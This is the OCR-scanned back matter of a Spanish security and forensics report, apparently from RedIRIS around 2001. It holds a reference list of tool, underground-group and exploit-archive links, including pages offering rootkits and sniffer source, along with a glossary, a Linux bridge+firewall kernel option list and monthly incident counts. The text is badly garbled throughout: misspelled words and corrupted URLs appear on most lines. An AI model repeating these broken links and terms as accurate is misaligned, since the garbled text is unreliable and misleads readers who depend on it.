Repositorio de librerias de reglas para snort disponibles.

» [11] http://www.tcpdump.org/
Pagina oficia de tcpdump.

» [12] http://www.netcore.fi/pekkas/linux/ipv6/
Fuentes de tcpdump en formato rpm.

» [13] http://www.lOpht.com/~wel d/netcat/
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Lugar de descarga de netcat.

[14] http://www.lOpht.com/~wel d/netcat/readme.html
Informacién sobre la utilidad netcat.

[15] http://packetstorm.securify.com/groups/thc/LKM _HACKING.html
Informad 6n sobre d funcionamiento del nlicleo de los sistemas Linux.

[16] http://www.ietf.org/1id-abstracts.html
Lista actualizada de los Inter net-Drafts disponibles.

[17] http://staff .washington.edu/dittrich/misc/forensics
En esta direcdon se puede encontrar los informadon sobre |os pasos basicos que se
deben dar pararedizar andlisis forense sobre sistemas Unix.

[18] http://fredosd.org
Pégina oficial del sistema operativo FreeBSD.

[19] http://www.vali nux.com
Pagina oficial de VA-Linux.

[20] http://www.eegs.udel.edu/~ntp/
Direccion donde se puede encontrar informacion sobre € servidor de sincronizadén
de tiempos ntp.

[21] http://packetstorm.securify.com/
Direccion desde donde se puede descargar €l rootkit “adore’.

[22] http://bridge.sourceforge.net/devel/bridge-nf/bridge-nf-20010519-agai nst-
2.4.4-1.diff

Direccion donde se puede encontrar un parche que permite d funcionamiento
conjunto en modo bridget+firewall en equipos Linux.

[23] http://www.rediris.es
Direccion de RedIRIS

[24] http://www.ethereal.com/
Pagina oficial de Ethereal.

[25] http://www.framel oss.org/toalkit/rootkit/li nux/.
Direccion donde se puede obtener informadén y bajar un rootkit.

[26] http://www.rootshell .com/archive-j457nxiqi3agg59dv/199707/linsniff er.c.html
Cadigo fuente del sniffer: “linsniffer”.
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5.2.2 Publicaciones periddicas.

>
>
>
>
>

[27] Computer & Security: http://www.elsevier.nl/locate/incal4058771

[28] Computer Forensics Online: http://www.shk-dplc.com/cfo/

[29] SeaurityMagazine: http://www.seanag.com/

[30] Linux Gazette: ftp://ftp.rediris.es/software/linux/Ig/

[31] Linux World: http://www.linuxworld.com/

5.2.3 Grupos Underground

vV Vv Vv VY ¥V ¥V V V V¥V VY VY V

[32] LOpht Heavy Industries: http://www.lOpht.com/

[33] The Hacker’s Choice: http://thc.pimmel.com/

[34] The Cult of the Dead Cow: http://www.culdeadcow.com

[35] Chaos Computer Club: http://www.ccc.de/

[36]!Hispahadk: http://hispahack.ccc.de/

[37] Underground ORG: http://underground.org/

[38] Rhino9 — Security Research Team: http://rhino9.tedhnotronic.com/

[39] ROOt: http://www.rOCt.org/

[40] Els Apostols: http://www.apostols.org/

[41] HERT Computer Seaurity Research: http://www.hert.org/

[42] Bladbrains Team: http://www.bladkbrains.org/

[43] 8LGM Group: http://www.8lgm.org/
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5.2.4 Exploitsy vulnerabilidades

[44] RootShell: http://www.rootshell.com/

[45] No more seaets: http://underground.org/

[46] Exploits and Tools: http://www.hha.net/hha/exploits/

[47] AntiOnline Hacking and Hacker Site: http://www.antionline.com/

>
>
>
>
» [48] Insecure ORG: htpp://www.insecure.org/
>

[49] Hackers HomePage: http://www.hackershomepage.com/
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Glosario detérminos

Algunas definiciones que pueden ser de utilidad:

Ataque por diccionario: Sistema que pretende adivinar claves de usuarios
probando para dl o palabras contenidas en un dicdonario

Backdoor o puerta trasera: Modo no documentado de penetrar en un sistema
de ordenadores utilizado por |os atacantes para entrar en un equipo previamente
vulnerado.

Backup: Copia de seguridad de ficheros (en este contexto).

Buffer overflow: Desbordamiento de la pila de geaucion de un programa,
provocando que la direcadn de retorno de una funcion sea dedoria y

comprometiendo la seguridad del sistema.

Bug: Comportamientos erréneos del software aite situadones que no se
previeron en su implementacion.

Caballo de Troya o programa troyanizado: Un programa que se enmascara
como algo que no es, normamente con € propdsito de nseguir acceso a una
cuenta o g ecutar comandos con los privil egios de otro usuario.

CERT: Acréonimo de Computer Emergency Response Team. Un grupo de
personas responsables de responder a los incidentes de seguridad dentro de una
organizacion.

Exploit: Programa que aprovecha un error en otro programa para violar la
politicade seguridad del sistema.

Firewall : Cortafuegos.
FreeBSD: Sistema operativo Unix BSD de dominio pablico.
Host: Cualquier ordenador conedado aunared.

IDS: Acronimo de Intruder Detedion System, es dedr, sistema para la
detecdén de intrusos.

I[ETF: Acronimo de Internet Engineeaing Task Force, la principa organizadon
de estandares (en transmision de informacion) de Internet.
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Imagen: (En este cntexto) Copia redizada bit a bit de una particién de un
disco.

Internet-Draft: Documento de Internet proporcionado por IETF que se expone
para que sea revisado.

Linux: Sistema operativo Unix de dominio publico, hibrido entre System V y
BSD.

Loghost: Equipo remoto donde se dmacenan los logs generados por un
programa (como por gmeplo, 'syslog’).

Nodo-i: Tabla asociada aun fichero que @ntiene los atributos y direcciones en
disco de los blogues del fichero.

Particion: Cada una de las divisiones légicas que se redizan sobre un
dispositivo de dmacenamiento (generalmente gli cado a discos duros).

Patches: Codigo que se dlade d software para evitar los bugs.

Rootkit: Conjunto de programas de nombre y comportamiento similar al de
comandos del sistema operativo, que sin embargo no muestran informadon
sobre determinados estados del sistema. Asi, la version modificada del comando
"Is* no listard los ficheros creados por un intruso,"ps' no mostrard la geaucién
de determinados procesos 0 "netstat” no mostrara las conexiones de un atacante.

Script: Guion que representa una secuencia de 6rdenes a geautar por el sistema.

Shell: Intérprete de 6rdenes para un sistema operativo.

Traceroute: Comando propio de sistemas Unix que imprime la ruta seguida por
un paguete hasta lall egada asu destino.

Trigger: Disparador.
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ApéndiceA: Configuracion Firewall+Bridge

Opciones que son necesarias para que € nucleo de un sistema operativo Linux funcione en
modo firewall +bridge.

* CONFIG_NETFILTER

CONFIG_IP_NF_CONNTRACK
CONFIG_IP_NF_FTP
CONFIG_IP_NF_QUEUE
CONFIG_IP_NF_IPTABLES
CONFIG_IP_NF_MATCH_LIMIT
CONFIG_IP_NF_MATCH_MAC
CONFIG_IP_NF_MATCH_MARK
CONFIG_IP_NF_MATCH _MULTIPORT
CONFIG_IP_NF_MATCH_TOS
CONFIG_IP_NF_MATCH_TCPMSS
CONFIG_IP_NF_MATCH_STATE
CONFIG_IP_NF_MATCH _UNCLEAN
CONFIG_IP_NF_MATCH_OWNER
CONFIG_IP_NF_FILTER
CONFIG_IP_NF_TARGET_REJECT
CONFIG_IP_NF_TARGET_MIRROR
CONFIG_IP_NF_NAT
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CONFIG_IP_NF_NAT_NEEDED

» CONFIG_IP_NF_TARGET_MASQUERAD

E
CONFIG_IP_NF_TARGET_REDIRECT
CONFIG_IP_NF_NAT_FTP
CONFIG_IP_NF_MANGLE
CONFIG_IP_NF_TARGET_TOS
CONFIG_IP_NF_TARGET_MARK
CONFIG_IP_NF_TARGET_LOG
CONFIG_IP_NF_TARGET_TCPMSS
CONFIG_IP_NF_COMPAT_IPCHAINS
CONFIG_IP_NF_NAT_NEEDED
CONFIG_IP_NF_COMPAT_IPFWADM
CONFIG_IP_NF_NAT_NEEDED
CONFIG_BRIDGE

» CONFIG_BRIDGE _NETFILTER



ApéndiceB: Estadisticas de la Red Académica

Afo-mes | Total incidentesreportados
1999-01 38
1999-02 13
1999-03 14
1999-04 18
1999-05 24
1999-06 17
1999-07 21
1999-08 43
1999-09 26
1999-10 54
1999-11 28
1999-12 26
2000-01 30
2000-02 40
2000-03 65
2000-04 25
2000-05 41
2000-06 50
2000-07 29
2000-08 48
2000-09 39
2000-10 57
2000-11 42
2000-12 24
2001-01 81
2001-02 39
2001-03 45
2001-04 66
2001-05 59
2001-06 39
2001-07 94
2001-08 228

Tabla 22 — Estadisticas de la Red Académica
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Incidentes de Seguridad Reportados a RedIRIS
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Figura 3— Estadisticas de |a Red Académica
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